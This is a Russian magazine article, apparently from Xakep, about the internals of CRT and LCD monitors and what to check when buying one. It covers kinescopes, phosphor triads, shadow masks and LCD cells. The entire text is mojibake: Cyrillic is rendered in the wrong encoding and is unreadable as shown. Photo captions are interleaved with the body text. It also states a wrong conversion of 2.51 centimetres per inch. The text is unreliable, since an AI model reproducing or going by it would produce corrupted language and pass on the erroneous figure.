ðóêîâîäñòâîâàòüñÿ ïðè<br />
ïîêóïêå íîâîãî äåâàéñà. Âåäü<br />
ðàáîòà ñ íåêà÷åñòâåííûì ìîíèòîðîì,<br />
â îòëè÷èå, ñêàæåì, îò<br />
äåðüìîâîãî âèí÷åñòåðà, ÷ðåâàòà<br />
ñåðüåçíûìè ïðîáëåìàìè ñî<br />
çäîðîâüåì: ñïåðâà ó òåáÿ âûðàñòåò<br />
êàòàðàêòà ðàçìåðîì ñ<br />
êóëàê, à ïîòîì – î, óæàñ! - âûïàäóò<br />
âñå âîëîñû :).<br />
ÊÀÊÈÅ ÁÛÂÀÞÒ ÌÎÍÈÒÎÐÛ<br />
Ìîíèòîðû ðàçäåëÿþò ïî ïðèíöèïàì ðàáîòû íà äâå îñíîâíûå è<br />
î÷åíü áîëüøèå ãðóïïû: ÝËÒ è ÆÊ. Ïåðâûå èñïîëüçóþò äëÿ îòîáðàæåíèÿ<br />
èíôîðìàöèè Ýëåêòðîííî-Ëó÷åâóþ Òðóáêó, ÷òî ðàñøèôðîâûâàåò<br />
àááðåâèàòóðó, â ÆÊ-ìîíèòîðàõ ïðèìåíÿþòñÿ æèäêèå<br />
êðèñòàëëû. ÝËÒ-óñòðîéñòâà, â ñâîþ î÷åðåäü, äåëÿòñÿ ïî òèïó âèäåîñèãíàëà<br />
íà ïîäãðóïïû – öèôðîâûå è àíàëîãîâûå.<br />
Äëÿ áîëüøåé<br />
íàäåæíîñòè<br />
ñîåäèíåíèå ïðèêðûòî<br />
îáåñïûëèâàþùèì<br />
÷åõëîì - ê ñëîâó,<br />
âèäåë áû òû, ñêîëüêî<br />
äðÿíè ÿ âûãðåá èç<br />
ýòîãî ìîíèòîðà! Â<br />
òâîåì, ïîâåðü, íå<br />
ìåíüøå :)<br />
Âûâîäû îòêëîíÿþùåé<br />
îáìîòêè<br />
Ïðîâîä äëÿ ñáîðà<br />
ñòàòè÷åñêîãî<br />
ýëåêòðè÷åñòâà. Ïî<br />
íåìó çàðÿä<br />
ïåðåìåùàåòñÿ ñ<br />
ýêðàíà íà<br />
çàçåìëÿþùèå<br />
êîíòàêòû â ðîçåòêå<br />
Âñå çàçåìëÿþùèå<br />
êàáåëè ïðèïàÿíû ê<br />
ýòîé ìåòàëëè÷åñêîé<br />
ïëàñòèíå<br />
Ïîñòîÿííûé ìàãíèò<br />
îòêëîíÿþùåé<br />
ýëåêòðîííûé ïó÷îê<br />
îáìîòêè<br />
Êàê âèäíî, âíóòðè ó<br />
ýòîãî ìîíèòîðà<br />
ñïëîøíûå<br />
êîíäåíñàòîðû, äèîäû<br />
è ðåçèñòîðû. Ýòî<br />
ïîòîìó ÷òî îí<br />
àíàëîãîâûé :)<br />
Ðàçúåì äëÿ<br />
ïîäêëþ÷åíèÿ êàáåëÿ<br />
ïèòàíèÿ è çàçåìëåíèÿ<br />
1 2 3 4<br />
24 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
×ÒÎ ÂÍÓÒÐÈ Ó<br />
ÝËÒ-ÌÎÍÈÒÎÐÀ<br />
Îñíîâíàÿ ÷àñòü òàêîãî ìîíèòîðà –<br />
ýòî êèíåñêîï. Îí ïðåäñòàâëÿåò ñîáîé<br />
ãåðìåòè÷íî çàïàÿííóþ êîëáó,<br />
èìåþùóþ áîëüøóþ ïî ïëîùàäè ïîëîãóþ<br />
ãðàíü – ýêðàí è âûòÿíóòóþ<br />
òðóáêó. Ýêðàí ðàâíîìåðíî ïîêðûò ñ<br />
âíóòðåííåé ñòîðîíû ñïåöèàëüíûì<br />
âåùåñòâîì – ëþìèíîôîðîì, êîòîðîå<br />
îáëàäàåò óíèêàëüíûì ôèçè÷åñêèì<br />
ñâîéñòâîì – îíî ñâåòèòñÿ ïîä<br />
óäàðàìè ýëåêòðîíîâ. Íà ýòîì è îñíîâàíà<br />
ðàáîòà ìîíèòîðà: âíóòðè<br />
âûòÿíóòîé òðóáêè, ðàñïîëîæåííîé<br />
íàïðîòèâ ýêðàíà, ñîçäàåòñÿ ìîùíîå<br />
ýëåêòðè÷åñêîå ïîëå, ïîä<br />
äåéñòâèåì êîòîðîãî ïîñòóïàþùèå ñ<br />
ìîäóëÿòîðà ýëåêòðîíû ðàçãîíÿþòñÿ<br />
äî ïîðÿäî÷íîé ñêîðîñòè è ñ ðàçìàõó<br />
ëóïÿò ïî ëþìèíîôîðíîìó ïîêðûòèþ<br />
ýêðàíà. Åñòåñòâåííî, äåéñòâèÿ<br />
îäíîãî ýëåêòðîíà íåäîñòàòî÷íî –<br />
íåîáõîäèìî áåñ÷èñëåííîå èõ êîëè-<br />
÷åñòâî, ÷òîáû ÷åëîâåê ìîã çðèòåëüíî<br />
çàôèêñèðîâàòü ñâå÷åíèå ýêðàíà,<br />
ò.å. óâèäåòü èçîáðàæåíèå. Îò êîëè÷åñòâà<br />
ýëåêòðîíîâ â ïó÷êå çàâèñèò<br />
ÿðêîñòü ñâå÷åíèÿ; êðîìå òîãî,<br />
ïîíÿòíî, ÷òî åñëè ýëåêòðîíû áóäóò<br />
ïîïàäàòü â îäíó òî÷êó ýêðàíà, òîëêó<br />
ñ òàêîãî ìîíèòîðà íåìíîãî –<br />
äëÿ îòêëîíåíèÿ ïó÷êà ýëåêòðîíîâ<br />
ïðèìåíÿþò ñïåöèàëüíûå îáìîòêè,<br />
êîòîðûå, ñîçäàâàÿ ýëåêòðîìàãíèòíûå<br />
ïîëÿ, îòêëîíÿþò â òðåáóåìîì<br />
íàïðàâëåíèè ýëåêòðîíû. Ëþáîå<br />
èçîáðàæåíèå íà ìîíèòîðå ïðåäñòàâëÿåòñÿ<br />
â âèäå ìíîæåñòâà íåçàâèñèìûõ<br />
äèñêðåòíûõ “òî÷åê” ëþìèíîôîðíîãî<br />
ïîêðûòèÿ (ñòîèò çàìåòèòü,<br />
÷òî ïîíÿòèå “òî÷êè” ââîäèòñÿ<br />
íå íà óðîâíå àáñòðàêöèè,<br />
ïîêðûòèå íåîäíîðîäíî è ïðåäñòàâëÿåò<br />
ñîáîé ìíîæåñòâî òðèàäíûõ<br />
òî÷åê, ñîñòîÿùèõ èç òðåõ ðÿäîì<br />
ðàñïîëîæåííûõ ïÿòåí ëþìèíîôîðà<br />
äëÿ òðåõ îñíîâíûõ öâåòîâ<br />
– êðàñíîãî, ñèíåãî è çåëåíîãî).<br />
Ôîðìèðóÿ èçîáðàæåíèå, ýëåêòðîííûé<br />
ëó÷ _î÷åíü_ áûñòðî îáõîäèò<br />
âñþ ïîâåðõíîñòü ýêðàíà, ïåðåäâèãàÿñü<br />
ïî ñòðîêàì ñëåâà íàïðàâî<br />
îò âåðõíåé ñòðî÷êè ê íèæíåé.<br />
 òåëåâèçîðå óïðàâëÿþùèé èçîáðàæåíèåì<br />
ñèãíàë íåïðåðûâåí ïî<br />
óðîâíþ è âî âðåìåíè – òàêîé ñèãíàë<br />
íàçûâàþò àíàëîãîâûì. Â ìîíèòîðàõ<br />
æå ìîæåò ïðèìåíÿòüñÿ êàê<br />
àíàëîãîâûé, òàê è èìåþùèé ëîãè-<br />
÷åñêóþ ñòðóêòóðó öèôðîâîé ñèãíàë;<br />
òàê óæ èñòîðè÷åñêè ñëîæèëîñü, ÷òî<br />
ïåðâûìè áûëè öèôðîâûå ìîíèòîðû,<br />
àíàëîãîâûå ïîÿâèëèñü ïîçæå.<br />
Ïîêóïàÿ ïëîñêèé ìîíèòîð, èìåé â âèäó, ÷òî ëèøü íåêîòîðûå<br />
ìîäåëè äåéñòâèòåëüíî ïëîñêèå, ò.å. èìåþò ÍÅ ïîêàòóþ âíóòðåííþþ<br />
ãðàíü ýêðàíà. Ñóùåñòâåííàÿ ÷àñòü “ïëîñêèõ” ìîíèòîðîâ<br />
ïðåäñòàâëÿåò ñîáîé îáûêíîâåííûå “êðóãëÿøêè”, âèäèìàÿ<br />
÷àñòü ýêðàíà êîòîðûõ âûðîâíåíà êà÷åñòâåííûì ñòåêëîì, ÷òî<br />
ïî÷òè íå óáèðàåò èñêàæåíèé, ïîýòîìó îáÿçàòåëüíî óòî÷íè ó<br />
ïðîäàâöà, äåéñòâèòåëüíî ëè ìîíèòîð ïëîñêèé.<br />
Ãëàâíàÿ ïå÷àòíàÿ<br />
ïëàòà ìîíèòîðà,<br />
çäåñü ðàçìåùàþòñÿ<br />
îñíîâíûå ðàçúåìû è<br />
äåòàëè -<br />
èñêëþ÷èòåëüíî,<br />
åñòåñòâåííî,<br />
àíàëîãîâîãî òîëêà.<br />
×àñòü îòêëîíÿþùåé<br />
îáìîòêè. Ëüâèíóþ åå<br />
äîëþ ïîïðîñòó íå<br />
âèäíî, ÿ ïîáîÿëñÿ,<br />
÷òî åñëè ðàñêóðî÷ó<br />
ìàãíèò, îáðàòíî åãî<br />
ïîòîì íå ñîáåðó :/<br />
Âûâîäû îòêëîíÿþùåé<br />
îáìîòêè êðóïíûì<br />
ïëàíîì. Îò÷åòëèâî<br />
âèäíî - ïàéêà<br />
ãîâåíàÿ, made in<br />
China :)<br />
Îáìîòêà ñêðûòà îò<br />
íàøèõ ãëàç ýòèì<br />
ìàãíèòîì, íî áåç íåãî<br />
íè÷åãî áû íå<br />
ðàáîòàëî<br />
Ýëåêòðîííàÿ òðóáêà è<br />
ðàçãîíÿþùèå<br />
îáìîòêè. Ïî ýòîé<br />
ñòåêëÿííîé êîëáå ñ<br />
áåøåííîé ñêîðîñòüþ<br />
íåñóòñÿ ýëåêòðîíû,<br />
âîçäåéñòâèå êîòîðûõ<br />
íà ëþìèíîôîð òû<br />
íàáëþäàåøü,<br />
ðàññìàòðèâàÿ<br />
êàðòèíêó íà ýêðàíå.<br />
5 6 7 8 9<br />
Þíèêñîèä X-Còèëü Êîäèíã Þíèòû Quit> 25
INSIDE<br />
ÎÊÍÎ Â ÖÈÔÐÓ<br />
Íèêèòà «Nikitos» Êèñëèöèí<br />
(nikitoz@real.xakep.ru), http://nikitos.inc.ru<br />
ÀÍÀËÎÃÎÂÛÅ<br />
ÝËÒ-ÌÎÍÈÒÎÐÛ<br />
Îñíîâíàÿ ïðè÷èíà ïåðåõîäà ê<br />
àíàëîãîâîìó ñèãíàëó çàêëþ÷àåòñÿ<br />
â îãðàíè÷åííîñòè îòîáðàæàåìîé<br />
öèôðîâûì äèñïëååì ïàëèòðû,<br />
ïîñêîëüêó åå ðàñøèðåíèå<br />
âîçìîæíî ëèøü óâåëè÷åíèåì<br />
÷èñëà êîíêðåòíûõ öâåòîâ, ÷òî âûçûâàåò<br />
íåîáõîäèìîñòü â èñïîëüçîâàíèè<br />
íåñêîëüêèõ(!) ìîäóëÿòîðîâ<br />
íà êàæäîé èç òðåõ ïóøåê, ÷òî<br />
ñòîèò ñëèøêîì äîðîãî – äà è<br />
ãëóïî ýòî ïîïðîñòó. Â ðåçóëüòàòå<br />
èíæåíåðû íàøëè âûõîä â èñïîëüçîâàíèè<br />
àíàëîãîâîãî ñèãíàëà, êîòîðûé<br />
íå èìååò äèñêðåòíûõ çíà-<br />
÷åíèé, è âåëè÷èíà íàïðÿæåíèÿ â<br />
íåì ìîæåò ïðèíèìàòü ëþáîå çíà-<br />
÷åíèå â äèàïàçîíå îò 0 äî 0.7  –<br />
âîò óæå è íåîãðàíè÷åííàÿ ïàëèòðà.<br />
Âïðî÷åì, âèäåîàäàïòåð ìîæåò<br />
îáåñïå÷èâàòü ëèøü êîíå÷íîå<br />
÷èñëî ðàçëè÷àåìûõ ãðàäàöèé<br />
óðîâíÿ ñèãíàëà, ÷òî íàêëàäûâàåò<br />
îãðàíè÷åíèå íà ïàëèòðó âñåé<br />
ñèñòåìû â öåëîì.<br />
Àíàëîãîâûé âèäåîñèãíàë ïåðåäàåòñÿ<br />
ìîíèòîðó ÷åðåç 15-êîíòàêòíûé<br />
òðåõðÿäíûé ðàçúåì, äëÿ ïåðåäà÷è<br />
öâåòîâûõ ñèãíàëîâ èñïîëüçóþòñÿ<br />
âîñåìü èç ïÿòíàäöàòè ïðîâîäîâ,<br />
ïî îñòàâøèìñÿ ñåìè ïåðåäàåòñÿ<br />
ïðî÷àÿ óïðàâëÿþùàÿ èíôîðìàöèÿ<br />
(áèòû èäåíòèôèêàöèè<br />
âèäåîðåæèìà, êëþ÷è äëÿ èäåíòèôèêàöèè<br />
íåïîëàäîê è ïðî÷.).<br />
Ñþäà ïîäêëþ÷àåòñÿ<br />
ýëåêòðîííàÿ òðóáêà,<br />
åå ðàçúåìû î÷åíü<br />
íàïîìèíàþò ðàçúåìû<br />
ýëåêòðîëàìïû èç<br />
äåäóøêèíîãî<br />
ðàäèîïðèåìíèêà :)<br />
ÔÎÐÌÈÐÎÂÀÍÈÅ<br />
ÈÇÎÁÐÀÆÅÍÈß<br />
Äëÿ ôîðìèðîâàíèÿ êàðòèíêè â<br />
äèñïëåå èñïîëüçóþòñÿ ñïåöèàëüíûå<br />
óïðàâëÿþùèå ñèãíàëû. Ñêàíèðóÿ<br />
ïîâåðõíîñòü ýêðàíà, ëó÷ äâèæåòñÿ<br />
ïî çèãçàãó îò ëåâîãî âåðõíåãî<br />
óãëà äî ïðàâîãî íèæíåãî. Ãîðèçîíòàëüíûé<br />
õîä ëó÷à ðåàëèçóåòñÿ ñèãíàëîì<br />
ñòðî÷íîé ðàçâåðòêè, âåðòèêàëüíûé<br />
– êàäðîâîé. Ïåðåâîä ëó÷à<br />
èç êðàéíåãî ïðàâîãî ïîëîæåíèÿ<br />
ñòðîêè â êðàéíþþ ëåâóþ òî÷êó ñëåäóþùåé<br />
ñòðî÷êè è èç êðàéíåé ïðàâîé<br />
ïîçèöèè ïîñëåäíåé ñòðîêè â<br />
êðàéíþþ ëåâóþ òî÷êó ïåðâîé ñòðîêè<br />
îñóùåñòâëÿåòñÿ ñ ïîìîùüþ ñèãíàëîâ<br />
îáðàòíîãî õîäà.<br />
Ñîçäàâàåìîå ýòèì ñïîñîáîì<br />
èçîáðàæåíèå êàæåòñÿ íàøåìó<br />
ìîçãó âïîëíå ðåàëèñòè÷íûì, îí<br />
íå ìîæåò åãî îòëè÷èòü îò “íàñòîÿùåãî”,<br />
ðåàëüíî ïðîèñõîäÿùåãî<br />
äåéñòâèÿ. À âñå èç-çà îñîáåííîñòåé<br />
íàøåãî íåñîâåðøåííîãî çðåíèÿ.<br />
Âîçíèêíîâåíèå è ïðåêðàùåíèå<br />
ôîòîõèìè÷åñêèõ ðåàêöèé â<br />
ñåò÷àòêå ãëàçà â ðåçóëüòàòå ïîëó-<br />
÷åíèÿ ýíåðãèè êâàíòîâ ñâåòà ïðîèñõîäèò<br />
îòíþäü íå ìãíîâåííî, à ñ<br />
ñåðüåçíîé çàäåðæêîé – äî îäíîé<br />
ñåêóíäû. Ìîæåøü â ýòîì íàãÿäíî<br />
óáåäèòüñÿ – ïîñìîòðè íà ÿðêóþ<br />
ëàìïî÷êó è áûñòðî çàêðîé ãëàçà<br />
ëàäîíÿìè – íåêîòîðîå âðåìÿ òû<br />
åùå áóäåøü “âèäåòü” ÿðêîå ïÿòíî,<br />
ïîòîì îíî áûñòðî ïîãàñíåò –<br />
ýòî çàêîí÷èëàñü ðåàêöèÿ â ñåò-<br />
÷àòêå. Çàòåì ïÿòíî îïÿòü ïîÿâèòñÿ,<br />
íî áóäåò óæå äðóãèì, ìåíåå<br />
ÿðêèì è èíûì ïî ôîðìå – à ýòî<br />
óæå íàø ìîçã ïûòàåòñÿ âîñïðîèçâåñòè<br />
óâèäåííóþ â ïîñëåäíèé ìîìåíò<br />
êàðòèíêó, ÷òîáû â ñëó÷àå<br />
îïàñíîñòè ïîïûòàòüñÿ ñðåàãèðîâàòü<br />
àäåêâàòíûì îáðàçîì. Áëàãîäàðÿ<br />
ýòîìó íàøåìó ãëþêó, âîñïðîèçâîäèìàÿ<br />
íà õîðîøåì ìîíèòîðå<br />
êàðòèíêà êàæåòñÿ ÷åëîâåêó<br />
àáñîëþòíî ðåàëèñòè÷íîé.<br />
Äëÿ ôîðìèðîâàíèÿ öâåòíîãî<br />
èçîáðàæåíèÿ â ìîíèòîðàõ ïðèìåíÿþòñÿ<br />
òðè ðàçíûõ ýëåêòðîííûõ<br />
ïóøêè, êàæäàÿ èõ êîòîðûõ îòâå÷àåò<br />
çà îäèí èç ãëàâíûõ öâåòîâ: ñèíèé,<br />
çåëåíûé è êðàñíûé. Ëþáîé<br />
äðóãîé öâåò ìîæåò áûòü ïîëó÷åí<br />
ïóòåì ñìåøèâàíèÿ òðåõ îñíîâíûõ<br />
â ðàçëè÷íûõ “ïðîïîðöèÿõ” – òóò<br />
ïîäðàçóìåâàåòñÿ èíòåíñèâíîñòü<br />
ðàáîòû òîé èëè èíîé ïóøêè. Â ñîîòâåòñòâèè<br />
ñ îñîáåííîñòÿìè ÷åëîâå÷åñêîãî<br />
çðåíèÿ, íà âíóòðåííþþ<br />
ïîâåðõíîñòü ýêðàíà íàíåñåí ëþìèíîôîð<br />
òðåõ îñíîâíûõ öâåòîâ,<br />
ïðè÷åì êàæäûé ïèêñåë ñîäåðæèò<br />
ïÿòíà âñåõ òðåõ ëþìèíîôîðîâ. Ïî<br />
êàæäîìó òàêîìó ïÿòíó ñ ðàçëè÷íîé<br />
èíòåíñèâíîñòüþ ëóïÿò ýëåêòðîíû,<br />
ñîçäàâàåìûå ñóâåðåííûìè ýëåêòðîííûìè<br />
ïóøêàìè, öâåòà íàêëàäûâàþòñÿ<br />
äðóã íà äðóãà è ñîçäàþò<br />
ïèêñåë òîãî èëè èíîãî öâåòà. ×òîáû<br />
êàæäàÿ èç ïóøåê ñòðåëÿëà<br />
òîëüêî ïî ñâîèì ïÿòíàì, ïðèìåíÿåòñÿ<br />
ñïåöèàëüíàÿ ñâåòîðàçäåëèòåëüíàÿ<br />
ìàñêà, îáû÷íî ïðåäñòàâëÿþùàÿ<br />
ñîáîé ïëàñòèíó èç ñïåöèàëüíîãî<br />
ìåòàëëà – èíâàðà ñ ñèñòåìîé<br />
îòâåðñòèé, â òî÷íîñòè ñîîòâåòñòâóþùèõ<br />
òî÷êàì ëþìèíîôîðà.<br />
Áëàãîäàðÿ íèçêîìó êîýôôèöèåíòó<br />
òåïëîâîãî ðàñøèðåíèÿ èíâàðà,<br />
ñòàáèëüíîñòü ðàáîòû òàêîé ìàñêè<br />
ñîõðàíÿåòñÿ äàæå ïðè íàãðåâå<br />
ïëàñòèíû â ðåçóëüòàòå áîìáàðäèðîâêè<br />
ýëåêòðîíàìè.<br />
ÆÊ-ÌÎÍÈÒÎÐÛ<br />
 ïîñëåäíåå âðåìÿ âñå áîëüøóþ<br />
ïîïóëÿðíîñòü ïðèîáðåòàþò ÆÊäèñïëåè,<br />
îñíîâàííûå íà óíèêàëüíûõ<br />
ñâîéñòâàõ æèäêèõ êðèñòàëëîâ.<br />
Ýòè ìîíèòîðû íå â ïðèìåð êîìïàêòíåå,<br />
ëåã÷å è äîðîæå ñâîèõ ÝËÒêîíêóðåíòîâ.<br />
Âïðî÷åì, öåíû â<br />
ïîñëåäíåå âðåìÿ ïàäàþò âñå íèæå<br />
è íèæå, äåëàÿ ÆÊ-äèñïëåè äîñòóïíûìè<br />
ðÿäîâîìó ïîëüçîâàòåëþ.<br />
Îñíîâíûì ýëåìåíòîâ òàêîãî äèñïëåÿ<br />
ÿâëÿåòñÿ ýêðàí, ñîñòîÿùèé èç<br />
äâóõ ïëàñòèêîâûõ ïàíåëåé, ìåæäó<br />
êîòîðûìè íàõîäèòñÿ ñëîé æèäêîêðèñòàëëè÷åñêîãî<br />
âåùåñòâà, ýòè ïàíåëè<br />
ïðèíÿòî íàçûâàòü ïîäëîæêàìè.<br />
Êàê è â ÝËÒ-ìîíèòîðå, ýêðàí<br />
ÆÊ-äèñïëåÿ ïðåäñòàâëÿåò ñîáîé<br />
ñîâîêóïíîñòü æê-ÿ÷ååê, êàæäàÿ èç<br />
êîòîðûõ îïðåäåëÿåò îäèí ïèêñåë.<br />
Îäíàêî, â îòëè÷èå îò ëþìèíîôîðíîãî<br />
ïîêðûòèÿ, çäåñü ÿ÷åéêà ñàìà<br />
íå ñïîñîáíà ãåíåðèðîâàòü ñâåò –<br />
îíà ëèøü óïðàâëÿåò èíòåíñèâíîñòüþ<br />
è ÷àñòîòîé ïðîõîäÿùåãî<br />
÷åðåç íåå ñâåòà, âûñòóïàÿ â ðîëè<br />
óïðàâëÿåìîãî ñâåòîôèëüòðà. Ïîýòîìó<br />
æê-äèñïëåè âñåãäà èñïîëüçóþ<br />
ïîäñâåòêó, ÷àùå âñåãî íà áàçå ëþìèíåñöåíòíîé<br />
ëàìïû ñ õîëîäíûì<br />
êàòîäîì, ÷òî äåëàåò ýòè äèñïëåè<br />
î÷åíü ýêîíîìíûìè â ïëàíå ýíåðãîïîòðåáëåíèÿ.<br />
Ìîëåêóëû æèäêîêðèñòàëëè÷åñêîãî<br />
âåùåñòâà, èìåÿ<br />
âûòÿíóòóþ ôîðìó, ïîä âîçäåéñòâèåì<br />
ýëåêòðè÷åñêîãî ïîëÿ ïðèîáðåòàþò<br />
óïîðÿäî÷åííîå íàïðàâëåíèå,<br />
÷òî ïðèâîäèò ê ïîÿâëåíèþ ýôôåêòà<br />
îïòè÷åñêîé àíèçîòðîïèè, ïðè êîòîðîì<br />
ïîêàçàòåëü ïðåëîìëåíèÿ âåùåñòâà<br />
çàâèñèò îò íàïðàâëåíèÿ<br />
ðàñïðîñòðàíåíèÿ ñâåòîâîé âîëíû â<br />
ýòîì âåùåñòâå – î÷åíü èíòåðåñíûé<br />
ýôôåêò, êîòîðûé äî ñèõ ïîð<br />
ïîëíîñòüþ íå èçó÷åí.<br />
Òàêèì îáðàçîì, â îáû÷íîì ñîñòîÿíèè<br />
êàæäàÿ ÿ÷åéêà ïðîçðà÷íà<br />
äëÿ ñâåòà, èñõîäÿùåãî îò ïîäñâåòêè,<br />
íî ñòîèò ïîäâåñòè ê ïîäëîæêàì<br />
íàïðÿæåíèå â 3-10<br />
âîëüò, êàê ÿ÷åéêà ñòàíîâèòñÿ<br />
íåïðîçðà÷íîé – òàê â îáùèõ<br />
ñëîâàõ ôîðìèðóåòñÿ èçîáðàæåíèå.<br />
Âîîáùå, òóò âñå äîâîëüíî<br />
ñëîæíî, ñóùåñòâóåò íåñêîëüêî<br />
ðàçëè÷íûõ çàïàòåíòîâàííûõ òåõíîëîãèé<br />
ôîðìèðîâàíèÿ öâåòíîãî<br />
èçîáðàæåíèÿ, íî âñå îíè ðàáîòàþò<br />
áëàãîäàðÿ ýòîìó îïèñàííîìó<br />
ýôôåêòó.<br />
Ïðè âûáîðå æê-ìîíèòîðà ñëåäóåò<br />
ðóêîâîäñòâîâàòüñÿ ñëåäóþùèìè<br />
ïàðàìåòðàìè. Î÷åíü âàæíàÿ<br />
âåëè÷èíà – ïîëå îáçîðà, õàðàêòåðèçóåòñÿ<br />
óãëàìè îáçîðà, èçìåðÿåìûìè<br />
îò ïåðïåíäèêóëÿðà,<br />
âîññòàíîâëåííîãî ê ïëîñêîñòè<br />
ýêðàíà. ×åì ýòîò ïàðàìåòð áîëüøå<br />
– òåì ëó÷øå. Íå ìåíåå âàæíûì<br />
ïàðàìåòðîì ÿâëÿåòñÿ ÿðêîñòü<br />
ìîíèòîðà – ÷åì ýòà âåëè-<br />
÷èíà âûøå, òåì ëó÷øå: èçîáðàæåíèå<br />
áóäåò íàñûùåííûì, óâåëè÷àòñÿ<br />
óãëû îáçîðà. Ïîä êîíòðàñòíîñòüþ<br />
èçîáðàæåíèÿ ïîíèìàåòñÿ<br />
÷èñëî ðàç, â êîòîðîå óâåëè-<br />
÷èòñÿ åãî ÿðêîñòü ïðè âîçðàñòàíèè<br />
óðîâíÿ ñèãíàëà ñ ìèíèìàëüíîãî<br />
äî ìàêñèìàëüíîãî, ÷åì ïàðàìåòð<br />
âûøå – òåì êà÷åñòâåííåå<br />
ìîíèòîð è òåì ïðèÿòíåå áóäåò<br />
èì ïîëüçîâàòüñÿ. Èíåðöèîííîñòü<br />
– ýòî ìèíèìàëüíîå âðåìÿ, íåîáõîäèìîå<br />
äëÿ àêòèâèçàöèè ÿ÷åéêè<br />
ìîíèòîðà, ÷åì çíà÷åíèå ýòîãî<br />
ïàðàìåòðà ìåíüøå, òåì ëó÷øå.<br />
26<br />
Íüþñû<br />
1 2 3 4<br />
Ôåððóì Inside PC_Zone Âçëîì
ÖÈÔÐÎÂÛÅ<br />
ÝËÒ-ÌÎÍÈÒÎÐÛ<br />
Ýòè ìîíèòîðû óæå, â îáùåì-òî,<br />
óøëè â ïðîøëîå. Îäíàêî ÿ ðåøèë<br />
çàòðîíóòü ýòó òåìó â îáðàçîâàòåëüíûõ<br />
öåëÿõ – íàäî æå çíàòü, ñ<br />
÷åãî âñå íà÷èíàëîñü :).<br />
Óïðàâëåíèå öèôðîâûì äèñïëååì<br />
îñóùåñòâëÿåòñÿ äâîè÷íûìè ñèãíàëàìè,<br />
êîòîðûå èìåþò òîëüêî<br />
äâà ðàçëè÷àåìûõ ñîñòîÿíèÿ –<br />
ëîãè÷åñêèé íóëü è åäèíèöà. Åäèíèöå<br />
ñîîòâåòñòâóåò íàïðÿæåíèå<br />
îò 3 äî 5 âîëüò, íóëþ – ìåíåå 0.5<br />
Â. Òàêèå ìîíèòîðû ìîãóò ðàáîòàòü<br />
ëèøü ñ âèäåîêàðòàìè ñòàíäàðòîâ<br />
EGA/CGA. Óïðàâëÿþùèé<br />
ñèãíàë ïåðåäàåòñÿ ïî ÷åòûðåì<br />
ïðîâîäàì, òðè èç êîòîðûõ ñîäåðæàò<br />
èíôîðìàöèþ î íàëè÷èè (1)<br />
èëè îòñóòñòâèè (0) îäíîãî èç òðåõ<br />
öâåòîâ (èìååòñÿ â âèäó RGB-ìîäåëü)<br />
â ôîðìèðóåìîì ïèêñåëå,<br />
ñèãíàë èç ÷åòâåðòîãî ïðîâîäà îïðåäåëÿåò<br />
èíòåíñèâíîñòü ðàáîòû<br />
âñåõ òðåõ ïóøåê îäíîâðåìåííî.<br />
Òàêèì îáðàçîì, íà ýòèõ ìîíèòîðàõ<br />
ìîæåò îäíîâðåìåííî îòîáðàæàòüñÿ<br />
äî 2^4=16 öâåòîâ. Ýòî ñî<br />
âðåìåíåì ïåðåñòàëî óñòðàèâàòü<br />
è ïîëüçîâàòåëåé, è èíæåíåðîâ, â<br />
ðåçóëüòàòå ÷åãî ïîñëåäíèå, æåëàÿ<br />
äåíåã, ïðèíÿëèñü çà ðàçðàáîòêó<br />
àíàëîãîâûõ ìîíèòîðîâ.<br />
ÎÑÍÎÂÍÛÅ<br />
ÏÀÐÀÌÅÒÐÛ<br />
ÝËÒ-ÌÎÍÈÒÎÐÎÂ<br />
Ïîæàëóé, ãëàâíàÿ õàðàêòåðèñòèêà<br />
ëþáîãî ìîíèòîðà – ýòî äëèíà åãî<br />
äèàãîíàëè, âåëè÷èíà ýòà êëàññè-<br />
÷åñêè èçìåðÿåòñÿ â äþéìàõ, äëÿ<br />
ïåðåâîäà â ñàíòèìåòðû ñëåäóåò<br />
óìíîæèòü åå íà 2.51. Íå ñëåäóåò<br />
ïóòàòü ýòîò ïàðàìåòð ñ äèàãîíàëüþ<br />
ðàáî÷åé îáëàñòè ýêðàíà,<br />
ïðîèçâîäèòåëè äèñïëååâ çäåñü<br />
èìåþò â âèäó ãåîìåòðè÷åñêèé<br />
ðàçìåð äèàãîíàëè äèñïëåÿ.<br />
Êà÷åñòâî èçîáðàæåíèÿ íàïðÿìóþ<br />
çàâèñèò îò òèïà öâåòîäåëèòåëüíîé<br />
ìàñêè, îñíîâíàÿ õàðàêòåðèñòèêà<br />
êîòîðîé – ðàññòîÿíèå ìåæäó<br />
áëèæàéøèìè îòâåðñòèÿìè, ïðåäíàçíà÷åííûìè<br />
äëÿ ëó÷à îò îäíîé<br />
èç ïóøåê. Î÷åâèäíî, ýòî ðàññòîÿíèå<br />
ïðÿìî îïðåäåëÿåòñÿ âåëè÷èíîé<br />
òðèàäíûõ òî÷åê ëþìèíîôîðà,<br />
÷åì ýòîò ïàðàìåòð ìåíüøå, òåì<br />
êà÷åñòâåííåå ïîëó÷àåìàÿ êàðòèíêà.<br />
Èäåàëüíûì ìîæíî ñ÷èòàòü ìîíèòîð,<br />
âåëè÷èíà çåðíà êîòîðîãî<br />
áëèçèòñÿ ê 0.2 ìì, íî òàêèå äèñïëåè<br />
ñòîÿò äîâîëüíî äîðîãî.<br />
Ìîíèòîð ïåðåä ïîêóïêîé ñëåäóåò<br />
ïðîâåðèòü íà èñêàæåíèÿ – òàáëèöà<br />
äîëæíà áûòü ïðÿìîóãîëüíîé,<br />
êâàäðàò êâàäðàòíûì, à êðóã êðóãëûì.<br />
Êðîìå òîãî, î÷åíü ÷àñòî â íåêà÷åñòâåííûõ<br />
ìîíèòîðàõ íàáëþäàåòñÿ<br />
ýôôåêò “äðîæàíèÿ” òîíêèõ<br />
ëèíèé, áóêâ è ò.ä. – âñå ýòî êðàéíå<br />
íåæåëàòåëüíî, ïàãóáíî âëèÿåò<br />
íà çðåíèå, âûçûâàåò ïîâûøåííóþ<br />
ðàçäðàæèòåëüíîñòü è ëè÷íî ìåíÿ<br />
ïðîñòî áåñèò, íå ìîãó äîëãî ðàáîòàòü<br />
çà óáîãèì ìîíèòîðîì. Ïîýòîìó<br />
íàñòîÿòåëüíî ðåêîìåíäóþ ïðèäèð÷èâî<br />
îöåíèâàòü ýòè ïàðàìåòðû<br />
ìîíèòîðà, íå ñîáëàçíÿÿñü âíåøíèì<br />
âèäîì è ïðèâëåêàòåëüíîé öåíîé.<br />
Îáû÷íî â ìàãàçèíàõ ìíîæåñòâî<br />
ìîíèòîðîâ ïîäêëþ÷àåòñÿ ñ<br />
